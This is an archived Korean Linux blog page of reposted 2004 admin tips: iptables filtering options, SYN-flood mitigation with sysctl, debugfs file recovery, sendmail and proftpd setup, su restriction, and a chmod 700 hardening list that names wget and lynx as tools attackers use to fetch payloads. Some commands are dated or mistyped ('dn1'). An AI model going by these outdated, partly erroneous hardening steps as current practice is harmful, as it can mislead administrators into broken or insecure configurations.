    가끔 잘못 설정된 지역네트워크는 packet을 바깥세상으로 토해놓는다. Packet filter에게 어떠한 이상한 일이라도 일어나면 시스템 혹은 사용자에게 알려 주도록 말해 두는 것은 근사한 일이다. 이런 일에 대하여 무엇인가를 할 수도 있고 그냥 '이상한 일이네' 하고 넘길 수도 있다. 내 컴퓨터에서 유입 혹은 유출되고 있는 정보에 대한 monitoring을 할 수 있다는 점에서 유용하다.

     

    3.    Filtering Factors

     

    1)    Protocol

     

    프로토콜은 '-p' 지시자로 지정할 수 있다. 프로토콜을 숫자가 될 수 있고 (IP의 프로토콜 번호를 알고 있다면) 'TCP', 'UDP', 'ICMP' 같은 이름이 될 수도 있다. 그리고 'tcp' 'TCP'와 같은 역할을 한다.

    프로토콜 이름 지정에 '!'을 이용할 수 있다. '-p ! TCP'

     

    Ex) ./iptables –A INPUT –p TCP –j DROP

      è 들어오는 모든 TCP packet을 차단

     

    -        extension option  

     

          TCP Extension

    --tcp-flags  : '!' 옵션을 사용한다면 이것 뒤에 두 개의 단어를 사용한다. 첫 번째 것은 검사하고자 하는 지시자 리스트의 마스크이다. 두 번째 단어는 지시자에게 어떤 것이 설정 될 것인지를 말해준다. 예를 들어,

    # iptables -A INPUT –p tcp --tcp-flags ALL SYN,ACK -j DENY

    이것은 모든 것이 검사되어야 함을 말한다.('ALL' `SYN,ACK,FIN,RST,URG,PSH' 와 같다.) 그러나 SYN ACK 만 설정된다. 'NONE'는 지시자가 없음을 말한다.

     

    --syn :  '!' 옵션이 선행될 수 있다. 이것은 '--tcp-flags SYN,RST,ACK,SYN'의 약어이다. SYN flag가 붙어있는 packet Connection 초기화 packet으로서 처음 서비스를 요청할 때 SYN packet이 오게 된다. SYN packet만 막으면 자신은 다른 곳으로부터 서비스 되는 packet을 받을 수 있으면서, 자기 컴퓨터로 들어오는 서비스 요청은 차단할 수 있다.

     

    ICMP Extension

    --icmp-type : '!' 옵션이 선행될 수 있다. 이후에 ICMP 타입의 이름('host-unreachable') 이나 숫자형태 ('3'), 또는 숫자형태와 코드('/'로 분리 예. '3/3') 의 형 태가 사용된다. 사용할 수 있는 ICMP 형태의 이름의 리스트는 '-p icmp --help' 하면 나타난다.

     

    2)     Port

     

     기본적으로 하나의 source-port 혹은 하나의 destination-port에 대해 filtering 할 수 있고, 추가적인 module을 사용하면 한 번에 여러 개의 port를 동시에 지정할 수 있고, source & destination port를 모두 차단할 수 있다.

     

    --source-port : '!' 옵션이 선행될 수 있다. 이후에 하나의 TCP 포트나 포트의 범위를 지정한다. /etc/services 에 기록된 것과 같은 포트 이름이 사용될 수 도 있고 숫자로 나타낼 수도 있다. 범위는 두개의 포트 이름을 '-' 으 로 연결해서 사용하거나 (크거나 같은 경우를 위해서) 하나의 포트 뒤에 '-'를 사용하거나 (작거나 같은 경우를 위해서) 하나의 포트 앞에 '-' 를 덧붙일 수 있다.

    --sport : 이것은 '--source-port'와 동의어이다.

    --destination-port --dport 는 위의 내용과 같으나 목적지를 지정한다.

     

    Port 지정에는 port 번호를 직접 써도 되고 service의 이름을 사용할 수도 있다.

    Ex) http, telnet, ftp, smtp, rlogin, rsh 등등

     

    l      mport patch

     

    포트를 여러 개를 동시에 지정해서 명시한다.

     

    Ex) –m mport –ports 20:23, 80...  è 20-23, 80 port를 차단 (source, destination 동시)

     

    ♦ 사용법

    -m mport     +      --source-ports  xxxx   (source port filtering)

                         --destination-ports xxxx (destination port filtering)

                         --ports xxxx            (source destination 둘 다)

     

     

    3) IP

     

    packet source IP 혹은 destination IP로부터 filtering이 가능하다.

     

          source IP : xxx IP로부터 오는 모든 packet filtering한다.

    Ex) ./iptables –A INPUT –s 141.223.201.119 –j DROP

    è 141.223.201.119에서 오는 모든 packet을 차단한다.

     

          Destination IP : 목적지가 xxx IP인 모든 packet filtering한다.

    Ex) ./iptables –A INPUT –d 141.223.201.119 –j DROP

    è 141.223.201.119로 가는 모든 packet을 차단한다.

     

          여러 개의 IP 동시 지정하기

    : 한 개의 IP일 경우 그냥 써준다.

    : 여러 개의 IP 동시 지정.

    200.200.200.0/24 와 같이 설정한다면 200.200.200.* 에 해당하는 모든 IP.

    4부분을 8 비트로 보고, 24는 앞의 3부분의 IP가 같은 모든 IP를 뜻한다.

     

    4)    INTERFACE

     

     컴퓨터가 Local Area Network (LAN)에 있고 인터넷 접속이 가능하다고 가정하면 LAN eth0 Internet 연결은 ppp0로 구분할 수 있다.

     

    ¨       사용법

     

    i)                    input interface : -i option        +     eth0, ppp0, lo (localhost)

    ii)                   output interface : -o option

     

    ex) telnet service LAN 상의 컴퓨터에게는 허락하고, Internet 상에서는 연결할 수 없도록 하고 싶다면,

     

      ./iptables –A INPUT –p tcp –destination-port telnet –I ppp0 –j DROP

     

    5)    SPI (security parameter index)

     

    ``ah'' : Security Parameter Index (SPI)에 기초한 AH 패킷을 match할 수 있도록 한다.

    ``esp'' : SPI에 기초한 ESP 패킷을 match할 수 있도록 한다.

     

    # iptables -A INPUT -p 51 -m ah --ahspi 500 -j DROP

    è 500과 일치하는 SPI를 가지는 모든 AH 패킷을 DROP 시킨다.

     

    ah match가 지원하는 옵션 : --ahspi [!] spi[:spi] -> match spi (range)

    esp match가 지원하는 옵션 : --espspi [!] spi[:spi] -> match spi (range)

    6)    The Number Of Connection

     

    Iplimit module을 사용해서 특정 host network로부터의 TCP 연결 개수를 제한할 수 있 다. 

     

    ¨       사용법

     -m iplimit      +       --iplimit-above N (숫자)

                            --iplimit-mask N ( ex. 8 : Class A에 대한)  –iplimit-above N

     

     ex) ./iptables –A INPUT –p tcp –-syn –-dport http –m iplimit –-iplimit-above 4 –j REJECT

     è 자신의 컴퓨터로 들어오는 http 연결을 4개로 제한한다.

     

     

    7)    IP option

     

    Ipv4options module을 사용하면 설정된 ip option에 의해 패킷을 filtering 할 수 있다.

     

    ¨       사용법

     

    -m ipv4options    +    --ssrr   à  strict source routing flag match되는 것 filtering

                            --lsrr   à  loose source routing flag             

                            --no-srr  à source routing을 가지지 않는 packet match

                                                             되는 것을 filtering

                            --rr     à  record route flagmatch 되는 것을 filtering

                            [!] –-ts   à  time stamp flag option을 가지는 것

                            [!] –-ra    à  router-alert option

                            [!] –-any-opt   à 적어도 하나의 ip option을 가진 packet...

     

    ex)   ./iptables -A INPUT -m ipv4options --rr -j DROP

    ./iptables -A INPUT -m ipv4options --ts -j DROP

    è IP 옵션에 설정된 record-route 또는 timestamp를 가진 모든 packet DROP

     

    8)    Packet Length

     

    Length module을 사용하면 길이에 의한 filtering이 가능하다. 길이는 0x0000(0)부터 0xFFFF(65535)까지 지정할 수 있다.

    ¨       사용법

     

    [!] --length L(L packet length)   :  length L packet을 막는다 (or length L인 것          허용한다 (! 사용할 때))

    [!] --length L1 : L2   :  L1에서 L2 범위의 length를 막는다 (or 범위의 것만 허용한다)

     

    ex)   ./iptables -A INPUT -p icmp --icmp-type echo-request -m length --length 85:0xffff -j DROP

    è 85 바이트보다 큰 패킷 크기를 가진 모든 ping packetDROP한다.

     

    9)    Host / Broadcast / Multicast : type-base packet matching

     

     pkttype module

    'OS > LINUX' 카테고리의 다른 글

    [펌] RedHat 9.0 설치후 기본셋  (0) 2004.06.14
    [펌] ftp 이용한 Hacking  (0) 2004.06.10
    [펌] rm으로 지운파일 복구하기  (0) 2004.06.10
    [펌] Dos 공격막기  (0) 2004.06.10
    [펌] ☞ 센드메일 설정하기  (0) 2004.06.10
    Posted by tornado
    |

    [펌] Dos 공격막기

    OS/LINUX 2004. 6. 10. 12:52
    Tcp Syn Flooding은 웹으로의 공격이 대부분이므로 syn_recv 프로세스가
    일정 개수가 넘게 되면 아파치를 재시작한다. 지속적인 공격일 경우 대처
    방안으로 두 가지 방법이 있다.
    첫째, sysctl -a |grep syn_backlog으로 확인 후 backlog를 늘려주거나 둘
    째, sysctl -a |grep syncookies로 확인 후 syncookies의 값을 1로 바꾸어
    준다. syn_backlog의 값을 조정해주는 방법은 다음과 같다.

    # sysctl -w net.ipv4.tcp_max_syn_backlog=1024
    # echo 1024 > /proc/sys/net/ipv4/tcp_max_syn_backlog

    syncookies의 값은 다음과 같이 변경이 가능하다.

    # sysctl -w net.ipv4.tcp_syncookies=1

    vi /etc/sysctl.conf
    추가
    # Enable TCP SYN Cookie Protection
    net.ipv4.tcp_syncookies=1

    /etc/rc.d/init.d/network restart

    OK!!

    'OS > LINUX' 카테고리의 다른 글

    [펌] Iptables를 이용한 Packet Filtering  (0) 2004.06.10
    [펌] rm으로 지운파일 복구하기  (0) 2004.06.10
    [펌] ☞ 센드메일 설정하기  (0) 2004.06.10
    [펌] ☞ chmod 700변경하기  (0) 2004.06.10
    [펌] ☞ anonymous ftp 막기  (0) 2004.06.10
    Posted by tornado
    |
    갠적으로 호되게 당한적이 있었는뎅 흐흐흐
    이제 걸리면 죽었어 ..ㅋㅋㅋㅋ

    우연히 알게되어 나름대로 제 방식대로 글을 쓰고 혹시나 해서 kltp.kldp.org 에서
    찾아보니 있더군요.. 에고 팔 아퍼... ^^;;

    아래는 제 방식대로의 Tip&Tech 입니다.
    ----------------------------------------------------------------------
    리눅스에서의 파일 삭제는 신중을 기해야 한다. 왜냐면 삭제된 파일은 복구 할 수
    없기 때문이다. 이것이 정석이였습니다.

    물론 rm 의 소프트링크나 다른 삭제 프로그램으로 대체하는 프로그램들도 있습니다
    만 rm 자체의 복구는 없다고 알고 있으신 분들이 대부분 일 겁니다.

    해답은

    debugfs 라는 명령어 입니다. (man page 참조)

    실제 사용예를 들어 설명하겠습니다.

    가정1) /home/pds/portsentry.tar.gz 라는 파일이 있음.
    가정2) /home 파티션은 hda8 입니다. (df -h 로 확인)
    가정3) rm -f /home/pds/portsentry.tar.gz 명령으로 지웠음.
    가정4) root 로 작업.

    복구 절차.

    1. #debugfs /dev/hda8

    => 설명 : hda8 파티션에 대해서 검사를 한다.

    2. debugfs:

    => 대기상태를 뜻함. 이곳에서 lsdel 을 입력하고 엔터.
    계속...

    debugfs: lsdel
    99 deleted inodes found.
    Inode Owner Mode Size Blocks Time deleted
    108123 0 100644 239 1/ 1 Thu Jan 3 01:25:33 2002
    18417 0 100644 426625 420/ 420 Thu Jan 3 01:26:34 2002
    45007 0 100644 343 1/ 1 Thu Jan 3 01:29:59 2002
    28691 0 100400 879 1/ 1 Thu Jan 3 01:38:29 2002
    18394 0 40755 0 1/ 1 Thu Jan 3 01:58:54 2002
    ..
    .
    14356 0 100644 2325 3/ 3 Fri Jan 25 16:13:24 2002
    61239 0 100644 43034 44/ 44 Fri Jan 25 16:13:31 2002
    debugfs:

    위와 같은 상태로 나오고 다시 대기상태로 됩니다. 실제로는 너무 많이 나오더군
    요.. (내가 그렇게 많이 지웠었나? '.'a)

    이제 이 목록중에서 하나를 선택해서 살려야 합니다. 다행히도 살리고자 하는 파일
    은 가장 최근에 지운 파일이므로 가장 아래쪽에 있는 것이겠죠.

    debugfs: dump <61239> /home/debugfs/portsentry.tar.gz

    => Inode 값을 <> 안에 적어줍니다. 뒤에는 복구할 파일 이름을 적어주시면 됩니다.
    => 복구할 파일은 다른 디렉토리로 지정해 주시는게 좋습니다. 별 상관은 없지만...

    #cd /home/debugfs
    #tar -zxvf portsentry.tar.gz // 정상적으로 압축이 풀리더군요.

    => 아주 훌륭하게 복구가 되었더군요. ^^v

    임의로 portsentry.tar.gz 를 지워서 테스트를 한 것입니다.

    debugfs: 상태에서 사용할 수 있는 명령어는 help 를 쳐보면 알 수 있습니다.
    끝내는 것은 q, quit 입니다.



    아래는 debugfs: 에서 사용가능한 명령어들 입니다.
    ---------------------------------------------------------------------

    Available debugfs requests:

    show_debugfs_params, params
    Show debugfs parameters
    open_filesys, open Open a filesystem
    close_filesys, close Close the filesystem
    feature, features Set/print superblock features
    dirty_filesys, dirty Mark the filesystem as dirty
    init_filesys Initalize a filesystem (DESTROYS DATA)
    show_super_stats, stats Show superblock statistics
    ncheck Do inode->name translation
    icheck Do block->inode translation
    change_root_directory, chroot
    Change root directory
    change_working_directory, cd
    Change working directory
    list_directory, ls List directory
    show_inode_info, stat Show inode information
    link, ln Create directory link
    unlink Delete a directory link
    mkdir Create a directory
    rmdir Remove a directory
    rm Remove a file (unlink and kill_file, if appropriate)
    kill_file Deallocate an inode and its blocks
    clri Clear an inode's contents
    freei Clear an inode's in-use flag
    seti Set an inode's in-use flag
    testi Test an inode's in-use flag
    freeb Clear a block's in-use flag
    setb Set a block's in-use flag
    testb Test a block's in-use flag
    modify_inode, mi Modify an inode by structure
    find_free_block, ffb Find free block(s)
    find_free_inode, ffi Find free inode(s)
    print_working_directory, pwd
    Print current working directory
    expand_dir, expand Expand directory
    mknod Create a special file
    list_deleted_inodes, lsdel
    List deleted inodes
    write Copy a file from your native filesystem
    dump_inode, dump Dump an inode out to a file
    cat Dump an inode out to stdout
    lcd Change the current directory on your native
    filesystem
    rdump Recursively dump a directory to the native filesystem
    help Display info on command or topic.
    list_requests, lr, ? List available commands.
    quit, q Leave the subsystem.

    'OS > LINUX' 카테고리의 다른 글

    [펌] ftp 이용한 Hacking  (0) 2004.06.10
    [펌] Iptables를 이용한 Packet Filtering  (0) 2004.06.10
    [펌] Dos 공격막기  (0) 2004.06.10
    [펌] ☞ 센드메일 설정하기  (0) 2004.06.10
    [펌] ☞ chmod 700변경하기  (0) 2004.06.10
    Posted by tornado
    |

    sendmail => http://www.sendmail.org

     

    센드메일 설정하는 절차

     

    #cd /etc/mail

    #vi sendmail.mc

     

    43,44줄 dn1 주석제거 -->스팸메일방지

    TRUST_AUTH_MECH(`EXTERNAL DIGEST-MD5 CRAM-MD5 LOGIN PLAIN')dn1

    define(`confAUTH_MECHANISMS',`EXTERNAL GSSAPI DIGEST-MD5 CRAM-MD5

    LOGIN PLAIN')dn1

     

    85줄 127.0.0.1 => 0.0.0.0

    DAEMON_OPTION(`Port=smtp,Addr=0.0.0.0,Name=MTA')dn1

     

    #m4 sendmail.mc > sendmail.cf

    #vi local-host-names

     

    blueji78.com

    mail.blueji78.com

    www.blueji78.com

     

    #vi access

    blueji78.com          RELAY

    mail.blueji78.com          RELAY

    www.blueji78.com          RELAY

     

    #makemap hash access < access

    #makemap hash mailertable < mailertable

    #makemap hash domaintable < domaintable

    #makemap hash virtusertable < vitusertable

    #vi sendmail.cf

     

    89줄

    Cwblueji78.com

    Cwmail.blueji78.com

    Cwwww.blueji78.com

     

    147줄

    Dnblueji78.com

     

    1216줄 근방에

    #anything else is bogus

    #R$*                        $#error $@ 5.7.1 $: "550 Relaying denied"

     

    1299줄 근방에

    #R<FAIL>                 $#error $@ 5.7.1 $: "550 Relaying denied. IP name

    lookup failed "$&{client_name}

     

    #setup 실행 시켜서 아래의 항목을 체크한다.

    mailman

    ipop3

    pop3s

    sendmail

    server

     

    #/etc/rc.d/init.d/sendmail restart

     

    SMTP 테스트

    [root@ns]# telnet blueji78.com 25
    Trying 192.168.1.1...
    Connected to blueji78.com (192.168.1.1).
    Escape character is '^]'.
    220 kyongjumall ESMTP Sendmail 8.12.8/8.12.8; Sun, 30 May 2004 19:26:27 +0900
    EHLO blueji78.com
    250-kyongjumall Hello [192.168.1.1], pleased to meet you
    250-ENHANCEDSTATUSCODES
    250-PIPELINING
    250-8BITMIME
    250-SIZE
    250-DSN
    250-ETRN
    250-AUTH GSSAPI
    250-DELIVERBY
    250 HELP

     

    위의 출력이 나오면 SMTP 가 성공이다.

    quit 타이핑을 하고 빠져나온다.

     

    #telnet blueji78.com 110

    Trying 192.168.1.1...

    connected to blueji78.com (192.168.1.1).

    Escape character is '^]'.

    +OK POP3 [192.168.1.1] v2001.78rh server ready

     

    quit타이핑을 하고 빠져나온다.

    지금까지 센드메일 설정이었습니다.

    'OS > LINUX' 카테고리의 다른 글

    [펌] rm으로 지운파일 복구하기  (0) 2004.06.10
    [펌] Dos 공격막기  (0) 2004.06.10
    [펌] ☞ chmod 700변경하기  (0) 2004.06.10
    [펌] ☞ anonymous ftp 막기  (0) 2004.06.10
    [펌] ☞ root 접속제한  (0) 2004.06.10
    Posted by tornado
    |

    chmod 700변경하기

    본 권한변경 목적은 계정을 통하지 않은 불법적인 접근을 막기 위한 방법으로 가능한 필요하지 않은 파일들의 권한을 변경해 주시기 바랍니다.특히 suid가 걸린 파일의 경우 절대적으로
    권한변경을 해주시기 바랍니다.


     

    #서버 이용자 파악을 하지 못하게 함
    /usr/bin/finger (chmod 700 적용) 
    /usr/bin/nslookup (chmod 700 적용)

    /usr/bin/gcc (chmod 700 적용) 
    #suid 걸린 파일

    /usr/bin/suidperl (chmod 700 적용)
    /usr/bin/whereis (chmod 700 적용)

    #소스 컴파일은 루트이외에 못하도록 조치
    /usr/bin/cc (chmod 700 적용) 

    #perl중에 suid걸린 파일임
    /usr/bin/sperl5.00503 (chmod 700 적용)
    /usr/bin/c++ (chmod 700 적용)
    /usr/bin/make (chmod 700 적용)
    /usr/bin/pstree (chmod 700 적용)
    /usr/bin/rlog
    (chmod 700 적용)

    #필요없는 경우에는 삭제 하시길
    /usr/bin/rlogin (chmod 700 적용)
    /usr/bin/which (chmod 700 적용)
    /usr/bin/who (chmod 700 적용)
    /usr/bin/w (chmod 700 적용)

    #아웃룩익스프레스가 아닌 계정상에서 텔넷으로메일을 확인하지 못하게 하십시요.

    /bin/mail (chmod 700 적용)

    /bin/ps (chmod 700 적용)
    /etc/hosts (chmod 700 적용)
    /etc/hosts.deny (chmod 700 적용)
    /etc/hosts.allow (chmod 700 적용)
    /usr/bin/top (chmod 700 적용)
    /usr/bin/find (chmod 700 적용)
    #이두 명령어는일반적으로 해커들이 해킹툴을 가져올때 자주쓰는 명령어
    /usr/bin/lynx (chmod 700 적용)
    /usr/bin/wget
    (chmod 700 적용) 


    shell-prompt>lynx --dump 가져올화일이 있는 url경로
    shell-prompt>wget 가져올화일이 있는url 경로

    'OS > LINUX' 카테고리의 다른 글

    [펌] Dos 공격막기  (0) 2004.06.10
    [펌] ☞ 센드메일 설정하기  (0) 2004.06.10
    [펌] ☞ anonymous ftp 막기  (0) 2004.06.10
    [펌] ☞ root 접속제한  (0) 2004.06.10
    [펌] 리눅스 2.6의 멋진 세상  (0) 2004.06.10
    Posted by tornado
    |

    anonymous ftp 막기


    #vi proftpd.conf (/etc 에 위치)
    중략
    <Anonymous~ftp> 에서
    UserAliasanonymous ftp //이부분을 주석처리 해준다.
    wq (저장후 종료)


    특정 user가 ftp 접속후 본인의 Directory 외에 다른 유저의
    Directory를 접근 못하게 할 경우
    (접근을 해서 read 권한만있어도 그 유저의 설정을 모두볼수있다.)

    *proftp를 사용하는 경우 

    # vi /etc/proftpd.conf
    이 화일에이 한줄을 추가한다.
    DefaultRoot ~ member
    [root@ blueji78]# /etc/rc.d/init.d/proftpdrestart

    (소스 설치시에는 보통)
    [root@ blueji78]# /usr/local/proftpd/sbin/proftpd restart
    restart보다 ftp데몬을 죽이고 다시 시작하는게 좋다.


    이러면 본인의 Directory외에 다른 유저의 계정은 접근 불가.

    'OS > LINUX' 카테고리의 다른 글

    [펌] ☞ 센드메일 설정하기  (0) 2004.06.10
    [펌] ☞ chmod 700변경하기  (0) 2004.06.10
    [펌] ☞ root 접속제한  (0) 2004.06.10
    [펌] 리눅스 2.6의 멋진 세상  (0) 2004.06.10
    [linux] hostname 바꾸기..  (0) 2004.06.08
    Posted by tornado
    |

    ▩ 서버에서 제한된 유저들만 root로 접근하게 하기

     

    제한된 유저들에게만 su 허용

     

    #cd /etc/pam.d

    #vi su

    auth       required     /lib/security/pam_wheel.so use_uid 부분 주석을 제거

     

    /etc/group 파일을 열어 su 허용할 계정명들을 wheel 나열해준다.

     

    예를 들어 mycom blueji78 계정만을 넣어줄경우

    :

    wheel:x:10:root,mycom,blueji78 // 삽입 (구분자는 쉼표)

    :

    :

     

    위에서 지정한  계정외의 계정으로 su 하면 패스워드가 맞게 들어가도

    su: incorrect password라는 프롬프트가 떨어지며 접속이 안된다.

    'OS > LINUX' 카테고리의 다른 글

    [펌] ☞ chmod 700변경하기  (0) 2004.06.10
    [펌] ☞ anonymous ftp 막기  (0) 2004.06.10
    [펌] 리눅스 2.6의 멋진 세상  (0) 2004.06.10
    [linux] hostname 바꾸기..  (0) 2004.06.08
    [펌] Nmap 네트워크 점검 도구 및 보안 스캐너 3  (0) 2004.06.04
    Posted by tornado
    |